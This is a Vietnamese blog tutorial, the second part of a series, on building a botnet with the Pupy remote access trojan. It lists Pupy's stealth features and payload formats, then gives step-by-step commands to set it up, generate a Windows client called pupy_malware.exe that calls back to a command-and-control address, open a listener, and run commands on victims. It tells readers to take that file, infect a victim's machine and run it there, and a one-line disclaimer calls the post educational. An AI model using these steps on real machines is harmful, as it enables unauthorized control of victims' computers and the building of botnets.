RAT là gì? Hướng dẫn xây dựng hệ thống điều khiển nhiều thiết bị(Botnet) với RAT Pupy.(Phần 2)
Bài đăng này đã không được cập nhật trong 5 năm
I. RAT là gì?
Các bạn có thể đọc phần 1 tại đây.
Chú ý: Đây là bài viết mang tính chất học tập khuyến cáo mọi người không nên áp dụng vào thực tế.
II.Hướng dẫn xây dựng mạng botnet với RAT pupy
1. Pupy là gì?
Pupy là một RAT đa nền tảng được xây dựng bằng python. Khi hoạt động pupy để lại rất ít dấu vết trên máy nạn nhân. Pupy có thể giao tiếp với CnC bằng nhiều phương thức trao đổi giao tiếp khác nhau, đi vào các tiến trình bằng cách sử dụng reflective injection và tải mã python từ xa để thực thi.
Các tính năng cơ bản:
- Với Windows payload có thể tải trình thông dịch python từ bộ nhớ với reflective DLL (nó không động chạm gì đến ổ cứng.)
- Pupy có thể được đóng gói thành một file.py duy nhất và có thể thực thi độc lập với hđh chỉ yêu cầu các thư viện python chuẩn(PyCrypto có thể được thay thế bằng AES hoặc RSA nếu như PyCryoto không được kích hoạt trên victim).
- Reflectively migrate vào các tiến trình khác.
- Dễ dàng mở rộng, các modul đơn giản và được sắp xếp theo OS và các thể loại.
- Tương tác từ xa từ pupy shell và tự động hoàn thành các thuộc tính từ xa.
- Có thể thực hiện lệnh trên nhiều victim cùng một lúc đó là cơ sở để có thể tạo thành mạng botbet.
- Thực thi PE file từ xa hoặc từ bộ nhớ của victim.
Pupy có thể generate file thực thi cho nhiều nền tảng:
Format | Architecture | Short Name |
---|---|---|
Android Package | x86 & ARMv7 | apk |
Linux Binary | x86 | lin_x86 |
Linux Binary | x64 | lin_x64 |
Linux Shared Object | x86 | so_x86 |
Linux Shared Object | x64 | so_x64 |
Windows PE Executable | x86 | exe_x86 |
Windows PE Executable | x64 | exe_x64 |
Windows DLL | x86/x64 | dll_x86/x64 |
Python Script | x86 & x64 | py |
PyInstaller | x86 & x64 | pyinst |
Python Oneliner | x86 & x64 | py_oneliner |
Powershell | x86 & x64 | ps1 |
Powershell Oneliner | x86 & x64 | ps1_oneliner |
Ducky Script | N/A | rubber_ducky |
2. Các thư viện và công cụ cần dùng:
- mã nguồn pupy. link: https://github.com/n1nj4sec/pupy
- python 2.7 (cài đặt python 2.7 trên máy chủ C&C server.
- máy chủ linux (dùng làm C&C server) hoặc laptop cá nhân sử dụng Linux
- jdk, sdk cho việc generate file.apk
3. Các bước thực hiện:
Download mã nguồn pupy:
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
Sau đó, tạo môi trường làm việc với pupy:
Script pupy/create-workspace.py này sẽ tạo môi trường hoạt động cho pupy và tạo symlink tới pupysh ở ~./local/bin.
Nếu muốn tạo môi trường phiên bản nhẹ(không có các build toolchain):
python create-workspace.py -DG pupyw
Tạo môi trường bản đầy đủ:
python create-workspace.py pupyws
Sau khi cài đặt xong, tạo một symlink để gọi pupy từ terminal:
export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh
Sau khi thiết lập xong ta có thể chạy pupy từ terminal. Khởi chạy:
Tạo file thực thi client với modul gen trong pupy:
Demo tạo client Windows 32bit với modul “gen”:
gen -f client -O windows -A x86 -o pupy_malware.exe connect --host 172.16.216.1:9797 -t ssl
Trong đó:
- -f: định dạng của file
- -O: hđh hoạt động
- -A: nền tảng(32bits/64bits)
- -o: ouput file name
- connect –host: địa chỉ máy chủ CnC server
- -t: kiểu giao tiếp(ssl, rsa, aes,..)
Sau khi thực thi xong lệnh trên ta sẽ nhận được 1 file .exe được lưu trong pupyw/pupy_malware.exe
. Mang file này đi lây nhiễm và thực thi trên máy nạn nhân. Ta sẽ có được 1 bot.
Ta mở port để lắng nghe kết nối từ client (bot):
listen -a <transport> <port>
Trong đó:
- “transport” là phương thức transport đã thiết lập cho client khi ta tạo client.
- "port" là cổng giao tiếp thiết lập ở phần generate client.
Kiểm tra các kết nối đến C&C server sessions
:
Ở đây ta thấy có 1 client (bot) đang kết nối đến server.
Kiểm tra các modul hỗ trợ cho clients help -M
:
Demo thực thi “command” hệ thống:
Vậy là ta có thể điều khiển được máy nạn nhận. Từ ví dụ trên ta có thể xây dựng được mạng botnet.
III. Tài liệu tham khảo
All rights reserved